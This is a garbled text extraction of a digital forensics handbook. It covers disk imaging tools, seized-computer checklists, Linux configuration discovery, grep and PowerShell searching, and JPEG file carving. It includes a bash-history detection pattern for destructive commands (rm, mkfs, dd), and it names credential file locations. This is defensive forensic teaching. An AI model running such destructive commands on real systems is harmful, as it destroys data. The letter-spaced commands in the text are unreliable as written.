$ cd d c f l d d − 1 . 3 . 4
$ ./ configure
$ make
$ sudo make i n s t a l l
dc3dd
Similar to dcfldd, dc3dd was also built on top of GNU dd but was not forked
from it but was developed as a patch to dd and thus dc3dd is able to react
to updates in dd very rapidly. dc3dd was developed by Jesse Kornblum for
the Department of Cyber Crime Center. dc3dd is able to perform on the fly
hashing, can write errors to a file and group theses errors in the error log, can
9 http://dcfldd.sourceforge.net/
39
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
wipe patterns, report progress and can also split the output into files.
dc3dd can be installed from source code via:
$ wget h t t p s : / / downloads . s o u r c e f o r g e . n e t / p r o j e c t / dc3dd / dc3dd
/ 7 . 2 . 6 4 6 / dc3dd % 2 0 7 . 2 . 6 4 6 / dc3dd − 7 . 2 . 6 4 6 . z i p ? r=h t t p s%3A%2F%2
F s o u r c e f o r g e . n e t%2F p r o j e c t s%2Fdc3dd%2 F f i l e s %2 F l a t e s t %2Fdownload
%3F s o u r c e%3D t y p r e d i r e c t&t s =1529751860& u s e m i r r o r=a u t o s e l e c t
$ u n z i p dc3dd − 7 . 2 . 6 4 6 . z i p
$ cd dc3dd − 7 . 2 . 6 4 6
$ ./ configure
$ make
$ sudo make i n s t a l l
GuyMager
The open source disk imaging tool guymager has been developed by the
dutch Guy Voncken and guymager is now present on most forensic and security
focused Linux distributions such as CAINE, DEFT, Parrot or KALI. The main
features of guymager are10 :
Guymager can be easily installed via the package manager since it is already in-
cluded in the standard repositories of several Debian and Ubuntu distributions:
$ sudo ap−g e t i n s t a l l guymager
3.2.4 Documentation
As already discussed in subsection 2.3 The Digital Forensics Process, docu-
mentation is a main part of any forensic investigation and it is thus required to
start documenting at the very beginning of an examination in order to provide
the discoverability of the case. That is to explain all procedures in a clear,
concise, understandable and most importantly reproducible manner. Thus all
results of any tools and actions need to be documented but since there is no
uniform standard on to best document a digital forensics examination, there
is currently no recommendable tool available for this purpose. So there is no
other choice for a digital forensics investigator than to stick to the old known
document preparation suites like OpenOffice, LaTeX, etc. and incorporate the
results of the forensic investigation.
10 http://guymager.sourceforge.net/
40
Chapter 4
Digital Forensics
Investigation Checklists
Preliminaries
1. Begin tracking the man-hours you put into the media analysis and admin-
istrative work.
2. Verify search authority, consent, warrant, subpoena for exact legal level
of analysis. Ensure what level of analysis and what files you can examine
(i.e., Does the warrant cover e-mail, unopened e-mail, etc.). Get a copy
of this document and place it in your analysis case file.
3. Pull up the master of the case documentation file and place it in the
analysis case file.
4. Create a modified boot disk for the forensic software (EnCase). Ensure it
is of the current version loaded on the forensic machine. Determine Best
Method
1. Begin tracking the man-hours you put into the media analysis and admin-
istrative work.
2. Verify search authority, consent, warrant, subpoena for exact legal level
of analysis. Ensure what level of analysis and what files you can examine
41
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
(i.e., Does the warrant cover e-mail, unopened e-mail, etc.). Get a copy
of this document and place it in your analysis case file.
3. Pull up the master of the case documentation file and place it in the
analysis case file.
4. Create a modified boot disk for the forensic software (EnCase). Ensure it
is of the current version loaded on the forensic machine.
4. Lapses in analysis
5. Findings – evidence found. This will go into your final report in more
detail; these are ”working notes” so that anyone – a forensic colleague, an
investigating officer, or a supervisor – can pick up the file and, at a glance,
42
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
know exactly where you left off in your assessment of the seized computer
and media.
1. Log out all computer media and machines seized and to be analyzed.
4. Open/remove the CPU case. Examine its internal circuitry, make note of
all media (hard drives, removable media drives, floppy drives, etc.). Where
appropriate, make note of all internal expansion cards (e.g., where unusual
cards are located, or where the internal devices could be pertinent to the
investigation). Look for presence of a video capture card board in a child
pornography case, and other details pertinent to this type of investigation
(e.g., amount of RAM, CPU speed, etc.). Be sure to look for alternative
storage devices such as flash memory, disconnected hard drives, etc. Verify
that the system is configured to boot from floppy diskette, and record
which floppy drive is the boot disk.
6. Record the position of all internal devices, to include hard drives, floppy
drives, expansion cards, etc. Pay special attention to record jumpers,
cabling, and other items that might need to be modified for analysis.
43
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
44
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
8. After the hard drive is reinstalled and Tag XX-A is annotated appropri-
ately, attach Tag # XX-A to the original tag XX.
NOTE: After you visually inspect the hardware, you are ready to start
the analysis.
NOTE: Take photos (digital pictures are even better) of media and place
this in your case file.
Subject’s Computer
2. Verify that the system clock reflects the actual date and time. Record in
your analysis notes the correct date, time, and time zone, the date, time
and time zone reported by the SUBJECT’s computer, and the difference.
3. Identify all hard drives by make, model, capacity and condition. Record
this information, as well as whether the device is internal or external.
Where necessary, photograph individual hard disks to document damage
or other unusual condition.
4. Power down the computer and identify the hard drive master/slave set-
tings (if IDE) or SCSI ID settings (if SCSI). Record these settings, and
change where necessary to mount into the government-owned forensic ex-
amination computer. Be sure to note any and all changes to evidentiary
media.
5. Locate the parameters of the hard drive itself by going to the manufac-
turer’s home page (e.g., www.seagate.com). Where necessary, manually
modify the government computer’s CMOS settings to accurately reflect
the correct settings for the particular drive being analyzed.
45
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
46
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
Diskette Analysis
1. To simplify analysis, separate all floppy diskettes and verify each diskette is
write-protected. On a 3.5” floppy diskette, if facing you, the write-protect
slot (if present) is found on the upper right hand corner and should be
covered.
2. Using your EnCase program, perform an image copy of each diskette, then
add these individual evidence file to your case.
3. Prior to any acquisition, scan each diskette using a trusted virus protection
utility. If the program alerts to presence of a virus, label SUBJECT’s
diskette as infected to prevent accidental contamination of other media.
Record the virus’ presence (name, infected files, etc.) in your analyst
notes.
47
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
2. Identify any files pertinent to the investigation and print them out for
inclusion as attachments to the analysis report.
Notes of Importance
It is important to remember a few things while writing your report:
2. Do not identify any leads. The report is for the case officer, and it is his or
her job to identify the leads. If you discover something important during
your analysis, write it up so it is obvious to the officer without providing
a lead.
4. Double-check your findings media. If you create a findings CD, make sure
the data is really on it before you turn it in to your case officer.
48
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
• Take notes when consulting with the case investigator and/or prosecutor.
• Maintain the initial request for assistance with the case file.
• Include in the notes dates, times, and descriptions and results of actions
taken.
• Document the operating system and relevant software version and current,
installed patches.
49
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
• Case investigator.
• Date of receipt.
• Date of report.
• Results/conclusions.
The following sections have been found to be useful in other report formats.
Summary of Findings
This section may consist of a brief summary of the results of the examina-
tions performed on the items submitted for analysis. All findings listed in the
summary should also be contained in the details of findings section of the report.
Details of Findings
This section should describe in greater detail the results of the examinations
and may include:
50
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
• Internet-related evidence, such as Web site traffic analysis, chat logs, cache
files, e-mail, and news group activity.
• Graphic image analysis.
• Indicators of ownership, which could include program registration data.
• Data analysis.
• Description of relevant programs on the examined items.
• Techniques used to hide or mask data, such as encryption, steganography,
hidden attributes, hidden partitions, and file name anomalies.
Supporting Materials
List supporting materials that are included with the report, such as printouts
of particular items of evidence, digital copies of evidence, and chain of custody
documentation.
Glossary
A glossary may be included with the report to assist the reader in understand-
ing any technical terms used. Use a generally accepted source for the definition
of the terms and include appropriate references.
51
CHAPTER 4. DIGITAL FORENSICS INVESTIGATION CHECKLISTS
52
Part II
53
Chapter 5
5.1 Introduction
Nowadays most of the servers and supercomputers are running on a Linux
operating systems and more and more users are shifting to different Linux Dis-
tributions. Being free and open source, many companies are opting to choose
Linux over Windows.In this hack, we are going to perform a series of forensic
steps to find out the configuration of a machine running a Linux distribution.
Which includes:
• Determining Present Linux Distribution
• Taking a look at the Partition Structure of the Memory
– SYS V architecture
– BSD architecture
• What software is running?
• What Network services are running?
• Determining Network-configuration
As a Forensic expert, knowledge of different operating systems is a must.
Most of the forensic tools are based on a Linux environment and utilizing knowl-
edge with Linux based tools will make complicated things very easy.
In this Hack we are going to show; what exactly needs to be done? Which
steps to follow? and How to proceed further when given a Linux machine for
performing forensic examinations.
55
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
1. Sys V
• Debian
• Ubuntu
• RedHat
• HP-UX
• Oracle Solaris
2. BSD
• OpenBSD
• FreeBSD
• Mac OS X
56
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
• name of the device of the root partition: Sys V: /dev/sda1 ; BSD: /de-
v/disk0s1
• the password files: Sys V: /etc/passwd OR /etc/shadow BSD:/etc/passwd
OR /etc/master.passwd
an extensive list of differences can be found on http://unixguide.net/unixguide.shtml
5.3.1 Sys V
For Sys V architectures the storage media can be evaluated using the fdisk
utility with elevated privileges.
$ sudo f d i s k −l u
fdisk is a terminal based program which can create and manipulate partition
tables. Partitions, which are just simple block devices divided into one or more
logical disks, are allocated in the partition table of this storage device, usually
in sector 0. By reading / writing to this partition table, fdisk is able to achieve
its purpose.
Another way of determining the partitions of the storage media at hand is
using mlls, which is part of the Sleuth-Kit. mmls also lists the content of the
partition table, but specifies additional size information making it easy to use
dd or any similar tool to image partitions. mmls is very similar to fdisk -lu, but
also shows unused sectors on the disk, BSD partition tables and accepts forensic
disk image files making it very attractive for forensic purposes.
$ mmls −t dos d i s k . dd
5.3.2 BSD
After discovering what kind of Linux distribution the machine is running on
and seeing the SysV architectures partition table. Lets now look at how parti-
tion table look like in a BSD architecture. This will help us to perform further
steps on the server knowing clearly about the partition of a particular type of
architecture.
57
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
In principle the partition of BSD systems are not that different from the
Linux or Windows systems, therefore it is also based on DOS - partition table.
To find out how the partition table in an BSD architecture looks like we can use
the same commands as what we did in the last Hack about SYS V architecture.
Tools:: BSD architecture based machine like MacOS Terminal
First of all we check which partitions are present on the Mac OS machine:
$ diskutil list
/ dev / d i s k 0 ( i n t e r n a l , p h y s i c a l ) :
#: TYPE NAME SIZE
IDENTIFIER
0: DOS−P a r t i t i o n ∗ 2 5 6 . 1 GB disk0
1: EFI EFI 2 0 9 . 7 MB
disk0s1
2: Apple APFS C o n t a i n e r d i s k 1 2 5 5 . 9 GB
disk0s2
/ dev / d i s k 1 ( s y n t h e s i z e d ) :
#: TYPE NAME SIZE
IDENTIFIER
0: APFS C o n t a i n e r Scheme − +255.9 GB
disk1
Physical Store disk0s2
1: APFS Volume Mac OS 1 4 4 . 1 GB
disk1s1
2: APFS Volume Preboot 2 2 . 7 MB
disk1s2
3: APFS Volume Recovery 5 1 7 . 8 MB
disk1s3
4: APFS Volume VM 5 . 4 GB
disk1s4
/ dev / d i s k 2 ( d i s k image ) :
#: TYPE NAME SIZE
IDENTIFIER
0: Apple partition scheme +24.2 MB
disk2
1: Apple partition map 3 2 . 3 KB
disk2s1
2: Apple HFS F l a s h P l a y e r 2 4 . 2 MB
disk2s2
As we now know the types, names and sizes of all disks running, we can
proceed further by using the command:
$ sudo mmls / dev / d i s k 0
DOS P a r t i t i o n Table ( EFI )
Offset Sector : 0
U n i t s a r e i n 512− b y t e s e c t o r s
58
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
As now we have all the individual partitions listed making our evaluation of
the disk much easier.
In Linux there are two options to install different software one is using packet
manager and the other is installing directly from the sources of the software.
To know more about the software running, the packet manager is itself used to
keep track of all the details of the installed softwares.
The two most common packet managers available for Linux are Red Hat
Packet Manager (RPM) and Debian Packet Manager (DPKG).
Lets start by checking all the running software on the system. Via this list
we can say what software is installed and is there any software running without
purpose?
$ dpkg − l
D e s i r e d=Unknown/ I n s t a l l /Remove/ Purge / Hold
| S t a t u s=Not/ I n s t / Conf− f i l e s / Unpacked / halF−c o n f / H a l f −i n s t / t r i g −
aWait / Trig−pend
| / Err ?=( none ) / R e i n s t −r e q u i r e d ( S t a t u s , Err : u p p e r c a s e=bad )
| | / Name Version
Architecture Description
+++−=========================================−=======================================−============−==
ii 0 trace 0.01 −3
amd64 A t r a c e r o u t e t o o l t h a t can run
w i t h i n an e x i s t i n g TCP c o n n e c t i o n .
ii aapt 1 : 7 . 0 . 0 + r33 −1
amd64 Android A s s e t Packaging Tool
ii acccheck 0.2.1 −3
all Password d i c t i o n a r y a t t a c k t o o l
f o r SMB
ii accountsservice 0.6.45 −1
amd64 query and m a n i p u l a t e u s e r
account information
ii ace−v o i p 1.10 −1 p a r r o t 0
amd64 A s i m p l e VoIP c o r p o r a t e
d i r e c t o r y enumeration t o o l
59
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
To get each and every detail of the linux commands there are Man pages
who explain the details about the particular command with the usage as well
as the meaning of the command. There are man pages for every command
and that might not be a good idea to read every bit of those pages for a small
question. So, to handle this event of action we have a special command apropos
which searches the manual pages for a special keyword or regular expression.
Each of the manual pages has a short description and apropos searches for the
keywords.
$ a p r o p o s mount
In this command mount will be used as a keyword and apropos returns all
the man pages including that term.
But what is to do if the software was installed using source files? To find out
about the software installed manually using source file we can use commands
like whereis, which and locate, which shows the path of the installed program.
The only thing to notice is that we make sure that the Program Path for the
relative program is in the PATH variable .
$ echo $PATH
60
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
Moreover, we can use the command history to see all the commands a user
issued recently. This is very useful to know which things have been done on the
terminal, what will help us in analyzing whom has dealt with the machine at
hand.
$ history
It is always useful to use the manual pages to have a knowledge about the
command and what are the possibilities to use it. Checking all the installed
programs like this will answer our questions about the version, user, owner and
who installed it; hacker or administrator, when it was last accessed etc.
61
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
If we need to take a look into the .bash history command, we can do this by
using the history command. The history command records each line inputted
to a terminal at any time in the above mentioned .bash history file. To see if a
given service was manually executed we have to examine this file.
To determine if the target machine is running a web server, we also take
a look in the /etc directory. Here we search for installations of an apache /
apache2 server, which stores its config under:
• /etc/apache2/apache2.conf
• /etc/apache2/ports.conf
• /etc/inetd.conf
• /etc/xinetd.conf
Another typical example for a super daemon network service would be telnet.
Before starting, the telnet service can ask a security service, called the TCP
wrapper, if the requested IP address is blocked. The TCP-wrapper does this by
looking into the following files, specifying if a connection is allowed or not:
• /etc/hosts.allow
• /etc/hosts.deny
62
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
auto e t h 0
i f a c e eth0 i n e t s t a t i c
address 192.168.0.100
netmask 2 5 5 . 2 5 5 . 2 5 5 . 0
gateway 1 9 2 . 1 6 8 . 0 . 1
5.6.1 DHCP
DHCP is a network management post used on TCP/IP networks whereby
DHCP server dynamically assigns IP addresses and other network configuration
to each device on a network so they can communicate with other IP networks.
In home and small companies this done by a router in the network. To check
the basic configuration of DHCP we open the file /etc/dhcp.conf
auto e t h 0
i f a c e e t h 0 i n e t dhcp
The following link provides a useful tutorial on how to properly configure dhcp:
https://www.brennan.id.au/10-DHCP_Server.html
The DHCP server persistence is the ability to save the lease information and
to provide the client an IP address which does not conflict with other devices
on the network, even after the devices are rebooted. It basically stores all the
information on the flash memory and provides two functions
1. IP address uniqueness
2. Automatic restoration
Netstat
To check all the TCP connections running on our system netstat displays
network connections through TCP via routing between the connection in form
of tables, including the number of network protocols running on the network
interface and statistics of the network.
$ : netstat
63
CHAPTER 5. DISCOVERING DIGITAL TRACES ON DIFFERENT
LINUX DISTRIBUTIONS
Service
To start, stop and restart different services on the Linux machine there is a
command service which is used to run a System V init script. All the scripts
related to the command are stored in the /etc/init.d directory. All scripts stored
in the directory can be started, stopped and restarted by the service command.
For example to stop ssh:
$ s e r v i c e ssh stop
As we now know most basic information about our Linux machine, we can
go further in the process by applying other methods for analyzing and digging
deeper into the system.
5.7 Resources
https://wiki.sleuthkit.org/index.php?title=Mmls
http://manpages.ubuntu.com/manpages/trusty/man8/fdisk.8.html
http://manpages.ubuntu.com/manpages/xenial/en/man8/netstat.8.html
https://developer.apple.com/
https://linux.die.net/man/1/dpkg
http://ftp.rpm.org/max-rpm/rpm.8.html
http://man7.org/linux/man-pages/man1/apropos.1.html
https://linux.die.net/man/8/ifconfig
https://www.ietf.org/rfc/rfc2131.txt
64
Chapter 6
Searching Files
6.1 Introduction
Every digital forensic examination demands, virtually by definition the search-
ing of digital files. This can be a quite cumbersome undergoing if one tries to
look at each file individually and tries to determine if its content or filename is
matching ones requirements, since operating systems nowadays consist of mul-
tiple millions of files. This process is further complicated if one wants to search
for deleted or not visible files. Using a search query, which almost all graphical
file managers of modern operating systems provide, simplifies this task a little
bit but if one wants to perform search for thousands of different search queries,
for example, this would still take lots of precious and expensive time. Filling
this need, Linux provides a very powerful and handy tool to realize this search
process. grep.
6.2 Grep
Grep, meaning globally search a regular expression and print , is a Linux
command line utility for searching plain text data. Using grep one can search in
one or multiple input files for a match to a given pattern list. If a line contains
a matching character sequence, grep copies this line to the standard output or
any other sort of output specified by the user by options. Grep has no input
length limit, besides the size of the RAM of the machine in use, and it is able to
match any arbitrarily chosen character. The basic syntax of a grep command
looks like this:
$ grep options pattern i n p u t f i l e n a m e s
Grep provides various search options like matching control, general output
control, output line prefix control, context line control and file and directory
selection. The most commonly used options are the following.
65
CHAPTER 6. SEARCHING FILES
to ignore the case we can use the -i option , thus searching the US constitution
for people will yield:
Using -v we can search a file for all contents that does not match our pattern,
suppose we want all strings that do not contain a lowercase a:
$ g r e p −v ” a ” c o n s t i t u t i o n . t x t
P r o v i d e d by U S C o n s t i t u t i o n . n e t
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
Article 1.
[ ]
A very useful option is to print the line number where the pattern matches
occurred, this is done by -n or –line-number. Suppose we want to know the line
numbers where Amendment 25 occurs:
$ g r e p −n ”Amendment 25 ” c o n s t i t u t i o n . t x t
8 2 2 : Amendment 25
− e p a t t e r n o r −−r e g e x=p a t t e r n
This u s e s pattern as search pattern .
−o o r o n l y −matching
P r i n t s o n l y t h e nonempty , matching p a r t s o f a l i n e .
−a o r −−t e x t
Treats binary f i l e s as a text filename
66
CHAPTER 6. SEARCHING FILES
Now we have to think about the second level domain names we want to
match. These can also contain ’.’ and ’-’ . Like ’mail.hs-ulm’ so the part of
regular expression for the them will look like: [A-Za-z0-9.-]. One could think
now that we need a dot ’.’ to separate the top-level and second level domain
but the problem is that if we write a literal dot ’.’ we are going to match any
character since this is one of the special characters in regular expressions. So
we need to add a before it. Other special characters that need a backslash in
the same way are as follows: .̂[$()|*+? .So far our regular expression to match
any email looks like this:
67
CHAPTER 6. SEARCHING FILES
[A-Za-z0-9. %+-]+@[A-Za-z0-9.-]+\.
Now the last part is matching the top level domains. Mostly all the domains
contain between 2 and 4 characters but some can be longer. So we can say a
good number would be between 2 and 6. These can only contain upper or lower
case characters. We specify the exact number of characters we want to match
in the curly brackets like this : [A-Za-z]{2,6}
And now we have the full regular expression constructed that matches any
email address.
[A-Za-z0-9. %+-]+@[A-Za-z0-9.-]+˙[A-Za-z]{2,6}
This can now be used in grep to search a file containing suspicious text:
$ e g r e p ’ [ A−Za−z0 −9. %+−]+@[ A−Za−z0 −9. −]+\.[A−Za−z ] { 2 , 6 } ’
suspiciousFile . txt
If we want to only get the email addresses at the end of a line, we can use the
anchor character $:
$ e g r e p ’ [ A−Za−z0 −9. %+−]+@[ A−Za−z0 −9. −]+\.[A−Za−z ] { 2 , 6 } $ ’
suspiciousFile . txt
Using the period character in a regular expression specifies that only a single
character can be existent at the specified location. If we want to match all email
addresses with a gmail.com account we can use the following command:
$ egrep ’ . . @gmail \ . com ’ s u s p i c i o u s F i l e . t x t
To search for a pattern that occurs 0 or more times one could use the * meta
character. For example we want to find emails within parenthesis we could issue
a command like the following:
$ e g r e p ’ ( [ A−Za−z0 −9. %+−]+@[ A−Za−z0 −9. −]+\.[A−Za−z ] { 2 , 6 } ∗ ) ’
suspiciousFile . txt
Now one might think that it would also be helpful to have a regular expression
for IP addresses. We can do this using the techniques learned when constructing
the regular expression for email addresses. Our first guess might be this regular
expression which is correct but could be further simplified.
[0-9]{1,3}.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}
We should make use of the \b which helps us match exact words only and
we can now that the matched string is not a part of another word. So our final
regular expression is as follows:
68
CHAPTER 6. SEARCHING FILES
\b[0-9]{1,3}˙[0-9]{1,3}˙[0-9]{1,3}˙[0-9]{1,3}\b
and we could use this regular expression with egrep like this:
$ egrep ’\b [0 −9]{1 ,3}\.[0 −9]{1 ,3}\.[0 −9]{1 ,3}\.[0 −9]{1 ,3}\ b ’
suspiciousFile . txt
Another useful example would be to search the history file of bash for commands
executed. We could define all the commands we consider hostile and then search
if they were executed on the target machine. For example the rm, rmdir, mkfs,
dd commands:
$ h i s t o r y | e g r e p ’ rm | mkfs | dd | rmdir ’
The next step is to check the size of the disk image difo.dd and check via
compression if there is actually information contained on the image, before we
begin scanning it. Thus we use the mmls tool from the sleuth kit to get an
overview of the disk image:
$ sudo mmls d i f o . dd
Cannot d e t e r m i n e p a r t i t i o n t y p e
$ f d i s k − l d i f o . dd
Disk d i f o . dd : 2 , 3 GiB , 2491416576 b y t e s , 4866048 s e c t o r s
U n i t s : s e c t o r s o f 1 ∗ 512 = 512 b y t e s
S e c t o r s i z e ( l o g i c a l / p h y s i c a l ) : 512 b y t e s / 512 b y t e s
I /O s i z e ( minimum/ o p t i m a l ) : 512 b y t e s / 512 b y t e s
Sometimes it is the case, that mmls and fdisk are not able to tell us about the
partition scheme of the image, to not waste our time searching for something on
a empty disk, we can compress the image and thus conclude if there is actually
information contained on the disk.
$ z i p d i f o . z i p d i f o . dd
a dd in g : d i f o . d d l ( d e f l a t e d 72%)
$ l l difo . zip
−rw−rw−r−− 1 u s e r u s e r 704603960 Jun 18 1 4 : 0 6 d i f o . z i p
69
CHAPTER 6. SEARCHING FILES
As we can see, the disk image is not empty and is 704,6MB in size. Now that we
have our keyword list ready, we want to use it to search the disk image difo.dd.
Therefore we read the image difo.dd and pipe the output to a progress view to
see if we make progress or if we are stuck, then we pipe our output again to
the strings command which prints all the strings of printable characters in the
image difo.dd, now we are ready to pipe the output of the strings command to
egrep to check if there is anything contained in the difo.dd that matches our
keywords list. Finally, we print the output to the file results.txt. The final
command looks like this:
$ dd i f =d i f o . dd | pv − i 1 −s 3 g | s t r i n g s −td | t e e e g r e p − i −f . /
keywords . t x t > r e s u l t s . t x t
After this command terminates, we can examine the results.txt file for any
wanted outcomes and use it for further processing.
Similar to grep, we can use -i to ignore the case and also issue the following
command to find the file filename.txt
$ f i n d −iname ’ f i l e n a m e . t x t ’
If we want to find all files that are not filename.txt we can either use:
$ f i n d −not −name ’ f i l e n a m e . t x t ’
OR
$ f i n d \ ! −name ’ f i l e n a m e . t x t ’
Furthermore, find also provides the option to search for files according to
their type, we still want to find filename.txt:
$ f i n d / −t y p e f ’ filename ’
• f : regular file
• d: directory
• l: symbolic link
• c: character devices
• b: block devices
70
CHAPTER 6. SEARCHING FILES
Using the -size option, we can also specify the size of the file to be searched,
suppose we only want to search for all files larger than 700mb:
$ f i n d / − s i z e +700M
Moreover, we can search for files according to the time wit the option:
• -atime Access Time: Last time a file was read or written to.
• -mtime Modification Time: Last time the contents of the file were mod-
ified.
• -ctime Change Time: Last time the file’s inode meta-data was changed.
Searching by file owner and permission is also possible using the respective
option and the previously described syntax:
• -user or -group or -syslog
• -perm
With a few basic options, we can filter the output, for example -b only searches
the basename, -e only returns still existing results or -S yields the statistics of
a result:
$ l o c a t e −e f i l e n a m e
71
CHAPTER 6. SEARCHING FILES
this will yield the result True. By default the PowerShell regex is not case
sensitive thus
C:\ > ’ C o n s t i t u t i o n ’ −match ’ TioN ’
will also yield True, this behavior can be changed by using the -cmatch option
instead which makes the regex case sensitive. Furthermore, PowerShell also
supports the wild cards and repeaters . ? + *
C:\ > ’ c o n s t i t u t i o n ’ −match ’ t . . n ’
C:\ > ’ C o n s t i t u t i o n ’ −match ’ t ?n ’
will also yield True. To search for the wild card and repeater characters in a
string, one has to use a backlash to escape their functionality and treat them
as characters:
C:\ > ’ C o n s t i t u t i o n ’ −match ’ t \?n ’
this will obviously yield False since there is no ? in the examined string. Note
that this is not the standard PowerShell escape character but rather the regex
standard for escaping special characters.
• \D matches non-digits
will thus yield true, since the string consists of characters. If we want to specify
ranges of characters we can also make use of the square brackets and curly
braces of the regex syntax:
C:\ > ’ C o n s t i t u t i o n ’ −match ’C [ a−z ] ∗ n ’
or
C:\ > ’ C o n s t i t u t i o n ’ −match ’C\w{ 1 , 1 0 } n ’
Returning to our previous email example, we are now able to use PowerShell to
check if a given string matches the email regex:
C:\ > ’ s u s p e c t @ m a i l . com ’ −match ’ [ A−Za−z0 −9\. %+−]+@[ A−Za−z0
−9\. −]+\.[A−Za−z ] { 2 , 6 } ’
72
CHAPTER 6. SEARCHING FILES
Suppose we want to find all the occurrences of the String President in the
US Constitution, one would issue a command like the following:
C:\ > S e l e c t −S t r i n g −Path ’ c o n s t i t u t i o n . t x t ’ −P a t t e r n ’ P r e s i d e n t ’
c o n s t i t u t i o n . t x t : 7 2 : The V i c e P r e s i d e n t o f t h e United S t a t e s s h a l l
be P r e s i d e n t o f t h e Senate , but
c o n s t i t u t i o n . t x t : 7 5 : The S e n a t e s h a l l c h o o s e t h e i r o t h e r O f f i c e r s ,
and a l s o a P r e s i d e n t pro tempore ,
c o n s t i t u t i o n . t x t : 7 6 : i n t h e a b s e n c e o f t h e V i c e P r e s i d e n t , o r when
he s h a l l e x e r c i s e t h e O f f i c e o f
c o n s t i t u t i o n . t x t : 7 7 : P r e s i d e n t o f t h e United S t a t e s .
[ ]
Using the option -Path we specify the path to the file we want to search
and using the option -Pattern we can specify the search pattern. Other useful
options can be used likewise and the following list shows a few examples:
• -CaseSensitive matches are case sensitive
• -AllMatches searches for more than one match in a line
6.7 Resources
https://www.blackbagtech.com/
https://medium.com/factory-mind/
https://technet.microsoft.com/en-us/library/2007.11.powershell.aspx
73
CHAPTER 6. SEARCHING FILES
74
Chapter 7
File Carving
7.1 Introduction
Data Carving is about identifying and extracting file types out of undiffer-
entiated blocks, raw data. This is done by analyzing file formats. This hack
discusses two techniques of data carving. First, we will start with some basics
about file systems and fragmentation. Later we will explain the methods of
byte-based data carving and block hashed data carving. The first one focuses
on searching for data byte by byte, comparing the file structures and extracting
the found files. This is a very simple method and limited to non-fragmented
data. The second method is restricted on detecting the presence of a specific
file by comparing hashes, however its not affected by fragmentation.
Of course, the examples used in this paper are very straightforward examples
to understand the basics of the underlying carving methods. Further develop-
ment of these examples can minimize carving time and increase the accuracy of
the results.
The file system is a structure for storing and organizing computer files and
their metadata on the hard drive, memory card, USB, etc. File systems locate
the files in blocks. Blocks are always occupied in whole, even if only one bit
is stored in it. If the size of a file is smaller or equal to the size of a block,
its stored in one, single block, otherwise, the file occupies more than one block.
But if the next block is already occupied, the file system must find the next free
block. These splitting of blocks belonging to one file is called fragmentation. Of
course, larger files are more likely to be fragmented.
75
CHAPTER 7. FILE CARVING
7.2.1 FAT
FAT stands for File Allocation Table. In particularly, Fat is used for USB
sticks and external hard drives, not only used with Windows OS. There are some
different types of FAT: FAT12, FAT16, FAT32. The Cluster size is 16KiB3. FAT
is storing data in a very simple way, saving data in a row and causing a lot of
fragmentation. See Figure 6.1.
7.2.2 NTFS
NTFS stands for New Technology File System. It is particularly used for
the inbuilt hard drive but can also be used for external hard drive exclusively
used with Windows OS. The Cluster size is 4KiB3. Information about each file,
as the corresponding clusters, is stored in a file included in the MFT (Master
File Table)4. NTFS arranges data smarter than FAT. It allocates buffer space,
preventing that enlarging files will immediately cause fragmentation.See Figure
6.2.
7.2.3 Ext
Extended filesystem is the default file system in Linux. Block Sizes can be
1KiB, 2KiB, 4KiB, 8KiB. Ext saves data in an even more intelligent way than
NTFS. The data is scattered all over the disk to minimize the fragmentation
caused by editing and enlarging files. See Figure 6.2.
Talking about Windows OSs, FAT is more prone to fragmentation than
NTFS. As we will see later, carving for files is not possible on fragmented disk
images. This means it is more likely to successfully carve data from an image
of NTFS than from an image of FAT.
76
CHAPTER 7. FILE CARVING
But no matter what OS is being used, a lot of reading and writing will sooner
or later cause fragmentation.
• are fragmented
Note:
The footer mode of Doc File is NEXT. This means Header + all data up to and
excluding the footer, compare Figure. We just focus on the process of carving
an unfragmented .jpg file as this method does not work for fragmented files. In
the example, were going to work with the 11-carve-fat.dd data which is a FAT32
system and available in public/Schaeffer directory. We can recover some .jpeg
files by using some commands in Linux and the header/footer method which
I have already introduced above. In case we want to work with Windows we
could use Cygwin to run Linux commands on your command line.
Step 1:
As we know any JPEG file starts with the header ff d8 ff followed by either e0
or e1 and ends with the footer ffd9. E1 just means this is a JPEG image and
E2 Digital camera JPG using Exchangeable Image File Format (EXIF). So, we
can search for the JPEG headers and footers. We start with searching for the
headers, with:
$ xxd 11− c a r v e −f a t . dd | g r e p f f d 8
77
CHAPTER 7. FILE CARVING
78
CHAPTER 7. FILE CARVING
In this example were just going to recover the third jpeg file image.
Step 2:
We need to convert the offset into a decimal number. There are two ways to do
this:
Important: We don’t care about the offset at the beginning of the line. Thus,
we should do a calculation to know the offset of the header ffd8. In this case,
we should do: Header: 10570240 +0 =10570240 We will do the for the footer
but including the 2 bytes of the footer.
Step 3:
Now we need to find the footers, skipping those before the header offset. We
writer:
$ xxd −s 10570240 11− c a r v e −f a t . dd | g r e p f f d 9
Step 4:
We need to calculate the file size, by simply subtracting the header offset
79
CHAPTER 7. FILE CARVING
Step 5:
